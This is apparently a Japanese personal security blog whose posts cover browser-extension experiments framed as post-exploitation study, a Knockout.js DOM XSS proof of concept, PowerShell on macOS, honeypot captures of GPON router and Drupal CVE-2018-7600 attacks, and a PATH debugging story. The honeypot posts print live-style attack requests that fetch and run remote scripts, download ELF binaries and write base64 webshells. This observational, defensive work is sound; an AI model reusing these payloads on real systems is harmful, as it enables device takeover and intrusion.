Browser Extensionを書いてみる: Firefox - 1.webRequestをコンソールログに出す
tl;dr
昨日のエントリの続きでFirefox版. 違うのはbackground.jsの中で少しだけ(後述).
Code
- manifest.json
- background.js
要点
参考
- 初めての拡張機能 - Mozilla | MDN
- manifest.json - Mozilla | MDN
- background - Mozilla | MDN
- permissions - Mozilla | MDN
- Request the right permissions - Mozilla | MDN
- JavaScript API 群のブラウザ実装状況 - Mozilla | MDN
- webRequest.onBeforeRequest - Mozilla | MDN
コメント
- Firefoxでalertではなくconsole.logを使っているのはbackgroundページだとどうもalertを呼び出せない仕様らしい(エラーで怒られた).
- ちなみにChromeだとconsole.logで出力できなかった. Chromeではconsoleを使うためにAPI(chrome.extension.getBackgroundPage())を叩かないといけないので, 極力最小コードにする目的に沿って叩かない方針で書いている.
- 次はChrome or Firefoxで保存されているパスワードを触りにいくExtensionか(そもそもできるのか?), IE or Edgeで上記と同じことをするプラグインでも(IEやばそうだしクロスプラットフォームでもないので後回しかな).
Browser Extensionを書いてみる: Chrome - 1.webRequestをポップアップで出す
tl;dr
マルチプラットフォームのPost Exploitation的なsomethingのお勉強ってことで手始めにBrowser Extension for Chromeを書いてみた. alertしてるところの飛ばし先とかobfuscateとかいろいろ興味が尽きないけれどもその辺りはまあご随意に.
Code
- manifest.json
- background.js
要点
- Chromeの場合(Firefoxでもそうだけど), manifest.jsonとChrome APIが肝. 具体的にはこの辺.
参考
- chrome.webRequest - Google Chrome
- What are extensions? - Google Chrome
- Manifest File Format - Google Chrome
コメント
XSS小ネタ(DOM based XSS - Knockout.js)
最近出会った, Knockout.jsでのDOM based XSSを紹介.
書いてあること
前提知識
JavaScript中のHTMLアンエスケープ
Knockout.jsのざっくり仕様(要点のみ)
HTMLソース(レスポンス)例
- input 1
inputtedaaaaa<'"%26>
- output 1
(snipped) <script src="./knockout-min.js"></script> (snipped) <span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa<'"&>'}"></span> (snipped)
- input 2
inputtedaaaaa,(;:)
- output 2
(snipped) <script src="./knockout-min.js"></script> (snipped) <span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa,(;:)'}"></span> (snipped)
お分かりいただけただろうか. ご覧の通りXSS可能.
PoC
- input
blue'&alert(1),text:'
- output
<span data-bind="text: 'Hello Knockout.js', style: {color: 'blue'&alert(1),text:''}"></span>
- HTML
<span data-bind="text: 'Hello Knockout.js', css: {color: 'blue'&alert(1),text:''}">Hello Knockout.js</span>
スクリプトが実行される流れ
- ブラウザの仕様であるHTMLアンエスケープ('が'としてJavaScriptエンジンに渡される)
- Knockout.jsが動いてalertが動作
- ViewモデルにおいてJavaScriptオブジェクトが使用される, JavaScript式を指定可能
対策
- JavaScriptエスケープ(' → \')
- Unicodeエスケープ(' → \u0027)
コメントとか小話とか
- BurpSuite 1.7.37, 2.0.X betaでのScanは(Info)Input returned in response (reflected).
- 「これどう思います?」と質問されたのが見つけられた発端. その時にKnockout.jsの存在を知った(ライブラリ多すぎてツラい).
- ようやくWebに慣れてきた気がする. 職人への道はまだまだ遠い.
MacでPowershellを動かしてみた
最近Powershellを叩いていることが増えたので普段使いのMacでも使いたくなった.
というわけで環境を用意した際のメモと所感.
目標
- Mac 上で Powershell を叩く
- 入力補完してくれるエディタをインストールする
- どこまで動かせるか確認
メモ
- Mac 上で Powershell を叩く
公式のドキュメントを参照.
Powershell は現状Github上に公開されていて, 動作環境として Windows はもちろんのこと, Linux, Mac までサポートしてくれている.
今回インストールした環境には brew をインストールしてあったため, ドキュメントの brew を使った方法通りに進めて, インストールできた.
- 入力補完してくれるエディタをインストールする
なにも考えず Visual Studio Code を使う(ダウンロード, Powershell拡張のインストール).
普段使いは Atom だけど, Atom でしかできないことを最近やっていないのでいっそ VSC に移行してもいいのかもしれない, と思った.
プラグインの数は Atom の方が多いので, いろいろと動きやすい環境を作るのは Atom の方がいいような気はしてる.
Atom で language-powershell, atom-terminal-powershell, ide-powershell を試したものの, Key-binding がぶつかっているのかF5などで実行を確認できなかった(Visual Studio Code でサクッとできるし, もうそっちでいいんじゃないかって気になったので深く調べてない).
- どこまで動かせるか確認
- PowerShell クックブックにあるもののいくつかを試して見た
- 数値演算, 文字列連結(マルチバイト込み), パイプラインなど基本的な操作, ターミナル上での入力補完, オブジェクトへのアクセス($var.Countとか), .NETオブジェクトのプロパティへのアクセス($today = Get-Date; $today.DayOfYearとか) → 問題なく動作, .NET回りは基本的に触れそう(たぶんもっと突っ込んでいったときにコケそう)
触った時の図はだいたいこんな感じ
- pwsh 上で Mac のコマンド群(とりあえずbrew update) → 動いた, 呼んだshellをpwshがまた包んでいるんだろうか
- WmiObject, ComObject → そんなものはない
所感
WmiObject, ComObjectは触りたい気持ちがあったので, 予想はしてたものの触れなくて残念な気持ち.
ただ今まではVisual Studio for Macで.NETを触っていたことを考えると, やはりshellから.NETオブジェクトに触れるのは嬉しい.
(Updated)GPON Home Routers(CVE-2018-10561/CVE-2018-10562) - In the wild - WOWHoneypot
TL;DR
2018年4月30日、GPON Home Routersに存在するRCEの脆弱性(CVE-2018-10561/CVE-2018-10562)が公表されていました。
日本時間2018/05/08 9:52:01(UTC+0900)より、さっそく運用中のハニーポット(WOWHoneypot in Singapol)でこの脆弱性を狙った通信を検知しました。
日本ではこの機器をお持ちの方は少数かと思われますが[3]、お持ちの方は利用されているISPにBug fixについてご確認いただくことを推奨します[1]。
- Critical RCE Vulnerability Found in Over a Million GPON Home Routers | vpnMentor
- Critical RCE vulnerability found in over a million GPON Home RoutersSecurity Affairs
- GPON Home Routers – The Next Botnet? ※POCが公開されていることも確認しています。
Attack payloads
検知した通信は以下の通り、脆弱性の存在確認を行うものです。
POST /GponForm/diag_Form?images/ HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: ***.***.***.***:*** Content-Type: text/plain Content-length: 119 (snip)wget;wget -qO - http://*.*.*.*/***.php?port=****(snip)
IPアドレスはurlscan.ioで確認したところ、IoCsに登録されているものでした。 https://urlscan.io/result/0f362b8f-d4da-4cb6-9f79-fb7e64d12d73/
wgetしている先のファイルは存在していなかったため(404 Not Found)、WOWHoneypotのルールには以下を登録しています。
<mrr> <meta> (snip) </meta> <trigger> <method>POST</method> <uri>/GponForm/diag_Form</uri> <body>wget -qO -</body> </trigger> <response> <status>200</status> <body filename="notfound.txt"></body> </response> </mrr>
GPON Home Routersを持っていないため適切なレスポンスかどうかは不明ですが、ひとまずはこれで攻撃の傾向を見ていこうと思います。
11 May ,2018 Updated
10, Mayより異なるPayloadの通信を検知しました。 Payloadは以下の通り、攻撃の流れはshellscriptの実行~アーキテクチャごとのELFバイナリを実行するものです。
- Payload
POST /GponForm/diag_Form?images/ HTTP/1.1 Host: ***.***.***.***:*** Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World Content-Length: 118 (snip)dest_host=``;wget+http://xxx.xxx.xxx.xxx/r+-O+->/tmp/r;sh+/tmp/r(snip)
- shellscript
#!/bin/sh n="arm mips mipsel arm7" http_server="xxx.xxx.xxx.xxx" #dirs="/tmp /var /dev/shm /dev" dirs="/tmp" for dir in $dirs do >$dir/c && cd $dir done for i in $n do cp $SHELL $i >$i wget http://$http_server/$i -O -> $i chmod 777 $i done
実行ファイルの動作は未調査のため、一旦ここまでです。
(参考情報)
ファイル名 | ハッシュ値(sha-256) |
---|---|
arm | efa4fe06e4949c0f7aedea61a79da92e379ea66b169cd1d99c47b9e93e814093 |
arm7 | 1ff787d52bc9e4a6c27d75b1a427c3e5dd16d6d5f082a79227c14edf8e908ab2 |
mips | bab7e9f42df88902acb00fbdf3b4b5d8ffec2a1a7ad32eb5f2fb1dbf38f3167d |
mispel | a79964ce5cf4b92f996bbc24230e102b94ef05fb072c0afdeabc88d28695cace |
13 May ,2018 Updated
12, Mayよりまた異なるPayloadの通信を検知しました。 Payloadは以下の通り、busyboxのwgetを用いたものです。 対象のファイルは存在せず(404 Not Found)、また仮にダウンロードに成功したとしてもファイルを実行するコマンドがpayload内にないことから、HTTPレスポンス確認による脆弱性の有無確認、もしくはwgetによるコマンド実行確認を期待しているものと考えられます。
- Payload 1
POST /GponForm/diag_Form?images/ HTTP/1.1 Host: ***.***.***.***:*** User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 Content-Type: gzip, deflate Accept: */* Content-Length: 112 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://*.*.*.*/$(uname+-m)`&ipv=0
- Payload 2
POST /GponForm/diag_Form?images/ HTTP/1.1 Host: ***.***.***.***:*** User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 Content-Type: gzip, deflate Accept: */* Content-Length: 103 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://*.*.*.*/80`&ipv=0
特にPayload 1, 2をカバーするため、以下のルールを加えました。
※上記ルール内
wget -qO -をwgetとしても良いかもしれませんが、今後のPayloadで攻撃者が求めるレスポンスに細かい差が出てきた際、変更を加えやすいよう分けてみています。※Payload 1 に関してはハニーポットクライアントから$(uname -m)なpathのwget通信を発生させる必要があります。
<mrr> <meta> (snip) </meta> <trigger> <method>POST</method> <uri>/GponForm/diag_Form</uri> <body>busybox+wget+http</body> </trigger> <response> <status>200</status> <body filename="notfound.txt"></body> </response> </mrr>
WOWHoneypotを使ってみた(運用継続中)
技術書典4で出会えた素晴らしいハニポを植えてみたところ、DrupalのRCE可能な脆弱性(CVE-2018-7600)含めちょいちょいリクエスト がきていたので、備忘録がてら。
書くこと書かないこと
- 書いてる:WOWHoneypotで観測したリクエストと追加したルールの概要、ルール適用後のリクエストの変化
- 書いてない:WOWHoneypotとは、WOWHoneypotの植え方、育て方、
- いろいろな方がすでにブログに書かれている、開発者の方が技術書典で本を出されているのでここでは書いてません。
観測したリクエスト
CVE-2018-7600
- こちらには以下の3種が飛んできていました
- id: おそらくコマンド実行確認。食いついて欲しいのでルールにはrootが返るように設定。今のところ後続は確認できず。
- curl/wget: 攻撃者管理のWebサーバへのアクセス有無によるコマンド実行確認 or ファイルの設置確認と予想。ファイルの設置確認の方を期待して、ダウンロードが成功した場合のアクセスを想定したルールを設定したものの後続のリクエストは確認できていない、ということでアクセス有無確認の方が濃厚のようでした。wget/curl拡張...別のを植えた方が早そう。
- Webshell設置: base64エンコードした文字列をphpファイルに書き込み実行させるもの。カスタムルールの効果を確認できない状況で飛んできているので、これは運っぽい。phpファイルは eval←gzinflate←str_rot13←base64_decode([base64encoded Webshell source])してました。
- 参考: ハニーポット観測日記「Drupalで任意のコードが実行可能な脆弱性を狙った攻撃」 | HONEYPOT運用日記
- リクエスト例1 → 参考のブログに譲ります。
- リクエスト例2
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: [masked] Content-Type: application/x-www-form-urlencoded Content-length: 170 form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F[masked]%2Fdrupal.php
- リクエスト例3
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Content-Length: 2055 Content-Type: application/x-www-form-urlencoded Host: [masked] Connection: Keep-Alive User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_144) Accept-Encoding: gzip,deflate form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=echo+%22[masked(base64encoded php source)]%22+%7C+base64+-d+%7C+tee+t6nv.php
CMSとかネットワーク機器系とかその他
/xmlrpc.php /cgi-bin/index.cgi /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer /wls-wsat/CoordinatorPortType /phpmyadmin
他にも色々飛んできていましたが、ひとまず主なものだけです。
所感
- ハニポ運用楽しいですね。引き続きWOWHoneypotで継続していこうと思います。
- 毎日のレポーティング機能はあると水やりが捗りそう。個人的には適切な水やりの情報が毎日pushsされて欲しいので、ペイロードを確認できるレポーティング機能を準備中。水やりに使う酸素をおくれ。
pyenvのpythonを叩くと自作goプログラムのpanicが走る怪奇現象
タイトルで出落ち。
結論
- ビルトインのコマンド名を自作プログラムに使うのはNG(大昔から言われてるからそれ
- 自作プログラムへのPATHは追加する形で(昔から(ry
- ソースコードリーディング楽しい(白目
きっかけ
算数をpythonにお願いしようとしたところ以下のエラーが発生した。
[User@PC] ~ % python panic: Head http://localhost:18888: dial tcp 127.0.0.1:18888: getsockopt: connection refused goroutine 1 [running]: main.main() /path/to/head/head.go:11 +0x16e [User@PC] ~
Goプログラムのソースは以下。書籍「Real World HTTP」の写経で、HTTPのHEADリクエストを送信するもの。
# Filename: head.go package main import ( "log" "net/http" ) func main() { resp, err := http.Head("http://localhost:18888") if err != nil { panic(err) } log.Println("Status: ", resp.Status) log.Println("Headers: ", resp.Header) }
解決への流れ
- pythonの確認
- pyenvの確認
- headの確認
- $PATHの確認
実際
pythonの確認
ブログ用にcat、実際にはless
[User@PC] ~ % file `which python` /path/to/.anyenv/envs/pyenv/shims/python: Bourne-Again shell script text executable, ASCII text [User@PC] ~ % cat `which python` #!/usr/bin/env bash set -e [ -n "$PYENV_DEBUG" ] && set -x program="${0##*/}" if [[ "$program" = "python"* ]]; then for arg; do case "$arg" in -c* | -- ) break ;; */* ) if [ -f "$arg" ]; then export PYENV_FILE_ARG="$arg" break fi ;; esac done fi export PYENV_ROOT="/path/to/.anyenv/envs/pyenv" exec "/path/to/.anyenv/envs/pyenv/libexec/pyenv" exec "$program" "$@" [User@PC] ~
※$programや$@にエラーになる要因がないかはechoさせて確認
ここでhead.goが正常動作する場合も確認しておいた。
pyenvのエラーが有用。pyenvの中にエラーの要因があると断定。
[User@PC] ~ % python 2017/12/23 13:57:03 Status: 200 OK 2017/12/23 13:57:03 Headers: map[Content-Length:[54] Content-Type:[text/html; charset=utf-8] Set-Cookie:[VISIT=TRUE] Date:[Sat, 23 Dec 2017 04:57:03 GMT]] pyenv: cannot find readlink - are you missing GNU coreutils?
Goの サーバプログラムは以下。これも上記書籍の写経。
package main import ( "fmt" "io/ioutil" "log" "net/http" "net/http/httputil" "github.com/k0kubun/pp" ) 〜中略〜 func main() { var httpServer http.Server http.HandleFunc("/", handler) httpServer.Addr = ":18888" log.Printf("[i] Start http listing %s\n", httpServer.Addr) log.Println(httpServer.ListenAndServe()) }
pyenvの確認
catの箇所では文字列検索をしたかったのでvimで開いた
[User@PC] ~ % file /path/to/.anyenv/envs/pyenv/libexec/pyenv /path/to/.anyenv/envs/pyenv/libexec/pyenv: Bourne-Again shell script text executable, ASCII text [User@PC] ~ % cat /path/to/.anyenv/envs/pyenv/libexec/pyenv ## 先ほどのエラー「pyenv: cannot find readlink - are you missing GNU coreutils?」で検索 #!/usr/bin/env bash set -e unset CDPATH 〜中略〜 READLINK=$(type -p greadlink readlink | head -1) [ -n "$READLINK" ] || abort "cannot find readlink - are you missing GNU coreutils?" 〜以下略〜 [User@PC] ~ %
エラーの箇所を発見、怪しい箇所としてはここのhead。
headの確認
ここでずっこけた。buildした覚えはなかったがどうやら指が勝手に動いていたらしい。
[User@PC] ~ % head 2017/12/23 14:16:31 Status: 200 OK 2017/12/23 14:16:31 Headers: map[Date:[Sat, 23 Dec 2017 05:16:31 GMT] Content-Length:[54] Content-Type:[text/html; charset=utf-8] Set-Cookie:[VISIT=TRUE]] [User@PC] ~ % which head /path/to/$GOPATH/bin/head [User@PC] ~ %
ひとまず/path/to/$GOPATH/bin/headを削除して動作を確認。
[User@PC] ~ % rm -f $GOPATH/bin/head [User@PC] ~ % python Python 2.7.10 (default, Jul 15 2017, 17:16:57) [GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.31)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> ^D [User@PC] ~ %
OK.
PATHの確認
編集前提なのでvimで開いた。
[User@PC] ~ % cat .zshrc 〜中略〜 # Go env export GOROOT=$HOME/.anyenv/envs/goenv/versions/$GO_VERSION export GOPATH=$HOME/dev export PATH=$GOROOT/bin:$GOPATH/bin:$PATH 〜以下略〜 [User@PC] ~ %
ツラい。以下のように修正。
- export PATH=$GOROOT/bin:$GOPATH/bin:$PATH + export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
大切なことなので再び結論(自戒を込めて
- ビルトインのコマンド名を自作プログラムに使うのはNG(大昔から言われてるからそれ
- 自作プログラムへのPATHは追加する形で(昔から(ry
ソースコードリーディング楽しい(白目してない
所感
- 今まで事故らなかった不思議に困惑
- トラブルシューティングよりブログを書く方が時間かかってしんどい
以上!閉廷!解散!